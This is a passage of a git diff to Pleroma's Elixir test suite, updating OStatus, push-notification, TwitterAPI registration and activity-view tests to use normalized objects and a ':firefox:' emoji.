	{:ok, [activity]} = OStatus.fetch_activity_from_url(url)

	assert activity.data["actor"] == "https://shitposter.club/user/1"

	- assert activity.data["object"]["id"] ==
	+ assert activity.data["object"] ==
	"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
	end)
	end

	test "it works for atom notes, too" do
	url = "https://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056"
	{:ok, [activity]} = OStatus.fetch_activity_from_url(url)
	assert activity.data["actor"] == "https://social.sakamoto.gq/users/eal"
	- assert activity.data["object"]["id"] == url
	+ assert activity.data["object"] == url
	end
	end

	test "it doesn't add nil in the to field" do
	incoming = File.read!("test/fixtures/nil_mention_entry.xml")
	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	assert activity.data["to"] == [
	"http://localhost:4001/users/atarifrosch@social.stopwatchingus-heidelberg.de/followers",
	"https://www.w3.org/ns/activitystreams#Public"
	]
	end

	describe "is_representable?" do
	test "Note objects are representable" do
	note_activity = insert(:note_activity)

	assert OStatus.is_representable?(note_activity)
	end

	test "Article objects are not representable" do
	note_activity = insert(:note_activity)

	note_object = Object.normalize(note_activity.data["object"])

	note_data =
	note_object.data
	\|> Map.put("type", "Article")

	Cachex.clear(:object_cache)

	cs = Object.change(note_object, %{data: note_data})
	{:ok, _article_object} = Repo.update(cs)

	# the underlying object is now an Article instead of a note, so this should fail
	refute OStatus.is_representable?(note_activity)
	end
	end
	end
	diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs
	index 6bac2c9f6..49b2a9203 100644
	--- a/test/web/push/impl_test.exs
	+++ b/test/web/push/impl_test.exs
	@@ -1,147 +1,147 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Push.ImplTest do
	use Pleroma.DataCase

	alias Pleroma.Web.Push.Impl
	alias Pleroma.Web.Push.Subscription

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn
	%{method: :post, url: "https://example.com/example/1234"} ->
	%Tesla.Env{status: 200}

	%{method: :post, url: "https://example.com/example/not_found"} ->
	%Tesla.Env{status: 400}

	%{method: :post, url: "https://example.com/example/bad"} ->
	%Tesla.Env{status: 100}
	end)

	:ok
	end

	@sub %{
	endpoint: "https://example.com/example/1234",
	keys: %{
	auth: "8eDyX_uCN0XRhSbY5hs7Hg==",
	p256dh:
	"BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA="
	}
	}
	@api_key "BASgACIHpN1GYgzSRp"
	@message "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."

	test "performs sending notifications" do
	user = insert(:user)
	user2 = insert(:user)
	insert(:push_subscription, user: user, data: %{alerts: %{"mention" => true}})
	insert(:push_subscription, user: user2, data: %{alerts: %{"mention" => true}})

	insert(:push_subscription,
	user: user,
	data: %{alerts: %{"follow" => true, "mention" => true}}
	)

	insert(:push_subscription,
	user: user,
	data: %{alerts: %{"follow" => true, "mention" => false}}
	)

	notif =
	insert(:notification,
	user: user,
	activity: %Pleroma.Activity{
	data: %{
	"type" => "Create",
	"actor" => user.ap_id,
	"object" => %{"content" => "<Lorem ipsum dolor sit amet."}
	}
	}
	)

	assert Impl.perform(notif) == [:ok, :ok]
	end

	@tag capture_log: true
	test "returns error if notif does not match " do
	assert Impl.perform(%{}) == :error
	end

	test "successful message sending" do
	assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok
	end

	@tag capture_log: true
	test "fail message sending" do
	assert Impl.push_message(
	@message,
	Map.merge(@sub, %{endpoint: "https://example.com/example/bad"}),
	@api_key,
	%Subscription{}
	) == :error
	end

	test "delete subsciption if restult send message between 400..500" do
	subscription = insert(:push_subscription)

	assert Impl.push_message(
	@message,
	Map.merge(@sub, %{endpoint: "https://example.com/example/not_found"}),
	@api_key,
	subscription
	) == :ok

	refute Pleroma.Repo.get(Subscription, subscription.id)
	end

	test "renders body for create activity" do
	assert Impl.format_body(
	%{
	activity: %{
	data: %{
	"type" => "Create",
	"object" => %{
	"content" =>
	- "<span>Lorem ipsum dolor sit amet</span>, consectetur :bear: adipiscing elit. Fusce sagittis finibus turpis."
	+ "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	}
	}
	}
	},
	%{nickname: "Bob"}
	) ==
	"@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."
	end

	test "renders body for follow activity" do
	assert Impl.format_body(%{activity: %{data: %{"type" => "Follow"}}}, %{nickname: "Bob"}) ==
	"@Bob has followed you"
	end

	test "renders body for announce activity" do
	user = insert(:user)

	note =
	insert(:note, %{
	data: %{
	"content" =>
	- "<span>Lorem ipsum dolor sit amet</span>, consectetur :bear: adipiscing elit. Fusce sagittis finibus turpis."
	+ "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	}
	})

	note_activity = insert(:note_activity, %{note: note})
	announce_activity = insert(:announce_activity, %{user: user, note_activity: note_activity})

	assert Impl.format_body(%{activity: announce_activity}, user) ==
	"@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."
	end

	test "renders body for like activity" do
	assert Impl.format_body(%{activity: %{data: %{"type" => "Like"}}}, %{nickname: "Bob"}) ==
	"@Bob has favorited your post"
	end
	end
	diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
	index 04c112355..d601c8f1f 100644
	--- a/test/web/twitter_api/twitter_api_test.exs
	+++ b/test/web/twitter_api/twitter_api_test.exs
	@@ -1,720 +1,721 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.UserInviteToken
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.TwitterAPI.ActivityView
	alias Pleroma.Web.TwitterAPI.TwitterAPI
	alias Pleroma.Web.TwitterAPI.UserView

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "create a status" do
	user = insert(:user)
	mentioned_user = insert(:user, %{nickname: "shp", ap_id: "shp"})

	object_data = %{
	"type" => "Image",
	"url" => [
	%{
	"type" => "Link",
	"mediaType" => "image/jpg",
	"href" => "http://example.org/image.jpg"
	}
	],
	"uuid" => 1
	}

	object = Repo.insert!(%Object{data: object_data})

	input = %{
	"status" =>
	- "Hello again, @shp.<script></script>\nThis is on another :moominmamma: line. #2hu #epic #phantasmagoric",
	+ "Hello again, @shp.<script></script>\nThis is on another :firefox: line. #2hu #epic #phantasmagoric",
	"media_ids" => [object.id]
	}

	{:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)
	+ object = Object.normalize(activity.data["object"])

	expected_text =
	- "Hello again, <span class='h-card'><a data-user='#{mentioned_user.id}' class='u-url mention' href='shp'>@<span>shp</span></a></span>.<script></script><br>This is on another :moominmamma: line. <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a> <a class='hashtag' data-tag='epic' href='http://localhost:4001/tag/epic' rel='tag'>#epic</a> <a class='hashtag' data-tag='phantasmagoric' href='http://localhost:4001/tag/phantasmagoric' rel='tag'>#phantasmagoric</a><br><a href=\"http://example.org/image.jpg\" class='attachment'>image.jpg</a>"
	+ "Hello again, <span class='h-card'><a data-user='#{mentioned_user.id}' class='u-url mention' href='shp'>@<span>shp</span></a></span>.<script></script><br>This is on another :firefox: line. <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a> <a class='hashtag' data-tag='epic' href='http://localhost:4001/tag/epic' rel='tag'>#epic</a> <a class='hashtag' data-tag='phantasmagoric' href='http://localhost:4001/tag/phantasmagoric' rel='tag'>#phantasmagoric</a><br><a href=\"http://example.org/image.jpg\" class='attachment'>image.jpg</a>"

	- assert get_in(activity.data, ["object", "content"]) == expected_text
	- assert get_in(activity.data, ["object", "type"]) == "Note"
	- assert get_in(activity.data, ["object", "actor"]) == user.ap_id
	+ assert get_in(object.data, ["content"]) == expected_text
	+ assert get_in(object.data, ["type"]) == "Note"
	+ assert get_in(object.data, ["actor"]) == user.ap_id
	assert get_in(activity.data, ["actor"]) == user.ap_id
	assert Enum.member?(get_in(activity.data, ["cc"]), User.ap_followers(user))

	assert Enum.member?(
	get_in(activity.data, ["to"]),
	"https://www.w3.org/ns/activitystreams#Public"
	)

	assert Enum.member?(get_in(activity.data, ["to"]), "shp")
	assert activity.local == true

	- assert %{"moominmamma" => "http://localhost:4001/finmoji/128px/moominmamma-128.png"} =
	- activity.data["object"]["emoji"]
	+ assert %{"firefox" => "http://localhost:4001/emoji/Firefox.gif"} = object.data["emoji"]

	# hashtags
	- assert activity.data["object"]["tag"] == ["2hu", "epic", "phantasmagoric"]
	+ assert object.data["tag"] == ["2hu", "epic", "phantasmagoric"]

	# Add a context
	assert is_binary(get_in(activity.data, ["context"]))
	- assert is_binary(get_in(activity.data, ["object", "context"]))
	+ assert is_binary(get_in(object.data, ["context"]))

	- assert is_list(activity.data["object"]["attachment"])
	+ assert is_list(object.data["attachment"])

	- assert activity.data["object"] == Object.get_by_ap_id(activity.data["object"]["id"]).data
	+ assert activity.data["object"] == object.data["id"]

	user = User.get_cached_by_ap_id(user.ap_id)

	assert user.info.note_count == 1
	end

	test "create a status that is a reply" do
	user = insert(:user)

	input = %{
	"status" => "Hello again."
	}

	{:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)
	+ object = Object.normalize(activity.data["object"])

	input = %{
	"status" => "Here's your (you).",
	"in_reply_to_status_id" => activity.id
	}

	{:ok, reply = %Activity{}} = TwitterAPI.create_status(user, input)
	+ reply_object = Object.normalize(reply.data["object"])

	assert get_in(reply.data, ["context"]) == get_in(activity.data, ["context"])

	- assert get_in(reply.data, ["object", "context"]) ==
	- get_in(activity.data, ["object", "context"])
	+ assert get_in(reply_object.data, ["context"]) == get_in(object.data, ["context"])

	- assert get_in(reply.data, ["object", "inReplyTo"]) == get_in(activity.data, ["object", "id"])
	+ assert get_in(reply_object.data, ["inReplyTo"]) == get_in(activity.data, ["object"])
	assert Activity.get_in_reply_to_activity(reply).id == activity.id
	end

	test "Follow another user using user_id" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user, followed, _activity} = TwitterAPI.follow(user, %{"user_id" => followed.id})
	assert User.ap_followers(followed) in user.following

	{:error, msg} = TwitterAPI.follow(user, %{"user_id" => followed.id})
	assert msg == "Could not follow user: #{followed.nickname} is already on your list."
	end

	test "Follow another user using screen_name" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user, followed, _activity} =
	TwitterAPI.follow(user, %{"screen_name" => followed.nickname})

	assert User.ap_followers(followed) in user.following

	followed = User.get_cached_by_ap_id(followed.ap_id)
	assert followed.info.follower_count == 1

	{:error, msg} = TwitterAPI.follow(user, %{"screen_name" => followed.nickname})
	assert msg == "Could not follow user: #{followed.nickname} is already on your list."
	end

	test "Unfollow another user using user_id" do
	unfollowed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(unfollowed)]})
	ActivityPub.follow(user, unfollowed)

	{:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
	assert user.following == []

	{:error, msg} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
	assert msg == "Not subscribed!"
	end

	test "Unfollow another user using screen_name" do
	unfollowed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(unfollowed)]})

	ActivityPub.follow(user, unfollowed)

	{:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
	assert user.following == []

	{:error, msg} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
	assert msg == "Not subscribed!"
	end

	test "Block another user using user_id" do
	user = insert(:user)
	blocked = insert(:user)

	{:ok, user, blocked} = TwitterAPI.block(user, %{"user_id" => blocked.id})
	assert User.blocks?(user, blocked)
	end

	test "Block another user using screen_name" do
	user = insert(:user)
	blocked = insert(:user)

	{:ok, user, blocked} = TwitterAPI.block(user, %{"screen_name" => blocked.nickname})
	assert User.blocks?(user, blocked)
	end

	test "Unblock another user using user_id" do
	unblocked = insert(:user)
	user = insert(:user)
	{:ok, user, _unblocked} = TwitterAPI.block(user, %{"user_id" => unblocked.id})

	{:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"user_id" => unblocked.id})
	assert user.info.blocks == []
	end

	test "Unblock another user using screen_name" do
	unblocked = insert(:user)
	user = insert(:user)
	{:ok, user, _unblocked} = TwitterAPI.block(user, %{"screen_name" => unblocked.nickname})

	{:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"screen_name" => unblocked.nickname})
	assert user.info.blocks == []
	end

	test "upload a file" do
	user = insert(:user)

	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	response = TwitterAPI.upload(file, user)

	assert is_binary(response)
	end

	test "it favorites a status, returns the updated activity" do
	user = insert(:user)
	other_user = insert(:user)
	note_activity = insert(:note_activity)

	{:ok, status} = TwitterAPI.fav(user, note_activity.id)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
	assert ActivityView.render("activity.json", %{activity: updated_activity})["fave_num"] == 1

	object = Object.normalize(note_activity.data["object"])

	assert object.data["like_count"] == 1

	assert status == updated_activity

	{:ok, _status} = TwitterAPI.fav(other_user, note_activity.id)

	object = Object.normalize(note_activity.data["object"])

	assert object.data["like_count"] == 2

	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
	assert ActivityView.render("activity.json", %{activity: updated_activity})["fave_num"] == 2
	end

	test "it unfavorites a status, returns the updated activity" do
	user = insert(:user)
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	{:ok, _like_activity, _object} = ActivityPub.like(user, object)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])

	assert ActivityView.render("activity.json", activity: updated_activity)["fave_num"] == 1

	{:ok, activity} = TwitterAPI.unfav(user, note_activity.id)

	assert ActivityView.render("activity.json", activity: activity)["fave_num"] == 0
	end

	test "it retweets a status and returns the retweet" do
	user = insert(:user)
	note_activity = insert(:note_activity)

	{:ok, status} = TwitterAPI.repeat(user, note_activity.id)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])

	assert status == updated_activity
	end

	test "it unretweets an already retweeted status" do
	user = insert(:user)
	note_activity = insert(:note_activity)

	{:ok, _status} = TwitterAPI.repeat(user, note_activity.id)
	{:ok, status} = TwitterAPI.unrepeat(user, note_activity.id)
	updated_activity = Activity.get_by_ap_id(note_activity.data["id"])

	assert status == updated_activity
	end

	test "it registers a new user and returns the user." do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	fetched_user = User.get_cached_by_nickname("lain")

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	test "it registers a new user with empty string in bio and returns the user." do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	fetched_user = User.get_cached_by_nickname("lain")

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	test "it sends confirmation email if :account_activation_required is specified in instance config" do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user} = TwitterAPI.register_user(data)

	assert user.info.confirmation_pending

	email = Pleroma.Emails.UserEmail.account_confirmation_email(user)

	notify_email = Pleroma.Config.get([:instance, :notify_email])
	instance_name = Pleroma.Config.get([:instance, :name])

	Swoosh.TestAssertions.assert_email_sent(
	from: {instance_name, notify_email},
	to: {user.name, user.email},
	html_body: email.html_body
	)
	end

	test "it registers a new user and parses mentions in the bio" do
	data1 = %{
	"nickname" => "john",
	"email" => "john@gmail.com",
	"fullname" => "John Doe",
	"bio" => "test",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user1} = TwitterAPI.register_user(data1)

	data2 = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "@john test",
	"password" => "bear",
	"confirm" => "bear"
	}

	{:ok, user2} = TwitterAPI.register_user(data2)

	expected_text =
	"<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"

	assert user2.bio == expected_text
	end

	describe "register with one time token" do
	setup do
	setting = Pleroma.Config.get([:instance, :registrations_open])

	if setting do
	Pleroma.Config.put([:instance, :registrations_open], false)
	on_exit(fn -> Pleroma.Config.put([:instance, :registrations_open], setting) end)
	end

	:ok
	end

	test "returns user on success" do
	{:ok, invite} = UserInviteToken.create_invite()

	data = %{
	"nickname" => "vinny",
	"email" => "pasta@pizza.vs",
	"fullname" => "Vinny Vinesauce",
	"bio" => "streamer",
	"password" => "hiptofbees",
	"confirm" => "hiptofbees",
	"token" => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)

	fetched_user = User.get_cached_by_nickname("vinny")
	invite = Repo.get_by(UserInviteToken, token: invite.token)

	assert invite.used == true

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	test "returns error on invalid token" do
	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => "DudeLetMeInImAFairy"
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Invalid token"
	refute User.get_cached_by_nickname("GrimReaper")
	end

	test "returns error on expired token" do
	{:ok, invite} = UserInviteToken.create_invite()
	UserInviteToken.update_invite!(invite, used: true)

	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end
	end

	describe "registers with date limited token" do
	setup do
	setting = Pleroma.Config.get([:instance, :registrations_open])

	if setting do
	Pleroma.Config.put([:instance, :registrations_open], false)
	on_exit(fn -> Pleroma.Config.put([:instance, :registrations_open], setting) end)
	end

	data = %{
	"nickname" => "vinny",
	"email" => "pasta@pizza.vs",
	"fullname" => "Vinny Vinesauce",
	"bio" => "streamer",
	"password" => "hiptofbees",
	"confirm" => "hiptofbees"
	}

	check_fn = fn invite ->
	data = Map.put(data, "token", invite.token)
	{:ok, user} = TwitterAPI.register_user(data)
	fetched_user = User.get_cached_by_nickname("vinny")

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	{:ok, data: data, check_fn: check_fn}
	end

	test "returns user on success", %{check_fn: check_fn} do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today()})

	check_fn.(invite)

	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used
	end

	test "returns user on token which expired tomorrow", %{check_fn: check_fn} do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), 1)})

	check_fn.(invite)

	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used
	end

	test "returns an error on overdue date", %{data: data} do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1)})

	data = Map.put(data, "token", invite.token)

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("vinny")
	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used
	end
	end

	describe "registers with reusable token" do
	setup do
	setting = Pleroma.Config.get([:instance, :registrations_open])

	if setting do
	Pleroma.Config.put([:instance, :registrations_open], false)
	on_exit(fn -> Pleroma.Config.put([:instance, :registrations_open], setting) end)
	end

	:ok
	end

	test "returns user on success, after him registration fails" do
	{:ok, invite} = UserInviteToken.create_invite(%{max_use: 100})

	UserInviteToken.update_invite!(invite, uses: 99)

	data = %{
	"nickname" => "vinny",
	"email" => "pasta@pizza.vs",
	"fullname" => "Vinny Vinesauce",
	"bio" => "streamer",
	"password" => "hiptofbees",
	"confirm" => "hiptofbees",
	"token" => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)
	fetched_user = User.get_cached_by_nickname("vinny")
	invite = Repo.get_by(UserInviteToken, token: invite.token)

	assert invite.used == true

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})

	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end
	end

	describe "registers with reusable date limited token" do
	setup do
	setting = Pleroma.Config.get([:instance, :registrations_open])

	if setting do
	Pleroma.Config.put([:instance, :registrations_open], false)
	on_exit(fn -> Pleroma.Config.put([:instance, :registrations_open], setting) end)
	end

	:ok
	end

	test "returns user on success" do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100})

	data = %{
	"nickname" => "vinny",
	"email" => "pasta@pizza.vs",
	"fullname" => "Vinny Vinesauce",
	"bio" => "streamer",
	"password" => "hiptofbees",
	"confirm" => "hiptofbees",
	"token" => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)
	fetched_user = User.get_cached_by_nickname("vinny")
	invite = Repo.get_by(UserInviteToken, token: invite.token)

	refute invite.used

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})
	end

	test "error after max uses" do
	{:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100})

	UserInviteToken.update_invite!(invite, uses: 99)

	data = %{
	"nickname" => "vinny",
	"email" => "pasta@pizza.vs",
	"fullname" => "Vinny Vinesauce",
	"bio" => "streamer",
	"password" => "hiptofbees",
	"confirm" => "hiptofbees",
	"token" => invite.token
	}

	{:ok, user} = TwitterAPI.register_user(data)
	fetched_user = User.get_cached_by_nickname("vinny")
	invite = Repo.get_by(UserInviteToken, token: invite.token)
	assert invite.used == true

	assert UserView.render("show.json", %{user: user}) ==
	UserView.render("show.json", %{user: fetched_user})

	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end

	test "returns error on overdue date" do
	{:ok, invite} =
	UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100})

	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end

	test "returns error on with overdue date and after max" do
	{:ok, invite} =
	UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100})

	UserInviteToken.update_invite!(invite, uses: 100)

	data = %{
	"nickname" => "GrimReaper",
	"email" => "death@reapers.afterlife",
	"fullname" => "Reaper Grim",
	"bio" => "Your time has come",
	"password" => "scythe",
	"confirm" => "scythe",
	"token" => invite.token
	}

	{:error, msg} = TwitterAPI.register_user(data)

	assert msg == "Expired token"
	refute User.get_cached_by_nickname("GrimReaper")
	end
	end

	test "it returns the error on registration problems" do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "close the world.",
	"password" => "bear"
	}

	{:error, error_object} = TwitterAPI.register_user(data)

	assert is_binary(error_object[:error])
	refute User.get_cached_by_nickname("lain")
	end

	test "it assigns an integer conversation_id" do
	note_activity = insert(:note_activity)
	status = ActivityView.render("activity.json", activity: note_activity)

	assert is_number(status["statusnet_conversation_id"])
	end

	setup do
	Supervisor.terminate_child(Pleroma.Supervisor, Cachex)
	Supervisor.restart_child(Pleroma.Supervisor, Cachex)
	:ok
	end

	describe "fetching a user by uri" do
	test "fetches a user by uri" do
	id = "https://mastodon.social/users/lambadalambda"
	user = insert(:user)
	{:ok, represented} = TwitterAPI.get_external_profile(user, id)
	remote = User.get_cached_by_ap_id(id)

	assert represented["id"] == UserView.render("show.json", %{user: remote, for: user})["id"]

	# Also fetches the feed.
	# assert Activity.get_create_by_object_ap_id("tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status")
	# credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength
	end
	end
	end
	diff --git a/test/web/twitter_api/views/activity_view_test.exs b/test/web/twitter_api/views/activity_view_test.exs
	index ee9a0c834..d84ab7420 100644
	--- a/test/web/twitter_api/views/activity_view_test.exs
	+++ b/test/web/twitter_api/views/activity_view_test.exs
	@@ -1,371 +1,374 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.ActivityViewTest do
	use Pleroma.DataCase

	alias Pleroma.Activity
	+ alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.TwitterAPI.ActivityView
	alias Pleroma.Web.TwitterAPI.UserView

	import Pleroma.Factory
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	import Mock

	test "returns a temporary ap_id based user for activities missing db users" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})

	Repo.delete(user)
	Cachex.clear(:user_cache)

	%{"user" => tw_user} = ActivityView.render("activity.json", activity: activity)

	assert tw_user["screen_name"] == "erroruser@example.com"
	assert tw_user["name"] == user.ap_id
	assert tw_user["statusnet_profile_url"] == user.ap_id
	end

	test "tries to get a user by nickname if fetching by ap_id doesn't work" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})

	{:ok, user} =
	user
	\|> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"})
	\|> Repo.update()

	Cachex.clear(:user_cache)

	result = ActivityView.render("activity.json", activity: activity)
	assert result["user"]["id"] == user.id
	end

	test "tells if the message is muted for some reason" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.mute(user, other_user)

	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
	status = ActivityView.render("activity.json", %{activity: activity})

	assert status["muted"] == false

	status = ActivityView.render("activity.json", %{activity: activity, for: user})

	assert status["muted"] == true
	end

	test "a create activity with a html status" do
	text = """
	#Bike log - Commute Tuesday\nhttps://pla.bike/posts/20181211/\n#cycling #CHScycling #commute\nMVIMG_20181211_054020.jpg
	"""

	{:ok, activity} = CommonAPI.post(insert(:user), %{"status" => text})

	result = ActivityView.render("activity.json", activity: activity)

	assert result["statusnet_html"] ==
	"<a class=\"hashtag\" data-tag=\"bike\" href=\"http://localhost:4001/tag/bike\" rel=\"tag\">#Bike</a> log - Commute Tuesday<br /><a href=\"https://pla.bike/posts/20181211/\">https://pla.bike/posts/20181211/</a><br /><a class=\"hashtag\" data-tag=\"cycling\" href=\"http://localhost:4001/tag/cycling\" rel=\"tag\">#cycling</a> <a class=\"hashtag\" data-tag=\"chscycling\" href=\"http://localhost:4001/tag/chscycling\" rel=\"tag\">#CHScycling</a> <a class=\"hashtag\" data-tag=\"commute\" href=\"http://localhost:4001/tag/commute\" rel=\"tag\">#commute</a><br />MVIMG_20181211_054020.jpg"

	assert result["text"] ==
	"#Bike log - Commute Tuesday\nhttps://pla.bike/posts/20181211/\n#cycling #CHScycling #commute\nMVIMG_20181211_054020.jpg"
	end

	test "a create activity with a summary containing emoji" do
	{:ok, activity} =
	CommonAPI.post(insert(:user), %{
	- "spoiler_text" => ":woollysocks: meow",
	+ "spoiler_text" => ":firefox: meow",
	"status" => "."
	})

	result = ActivityView.render("activity.json", activity: activity)

	- expected = ":woollysocks: meow"
	+ expected = ":firefox: meow"

	expected_html =
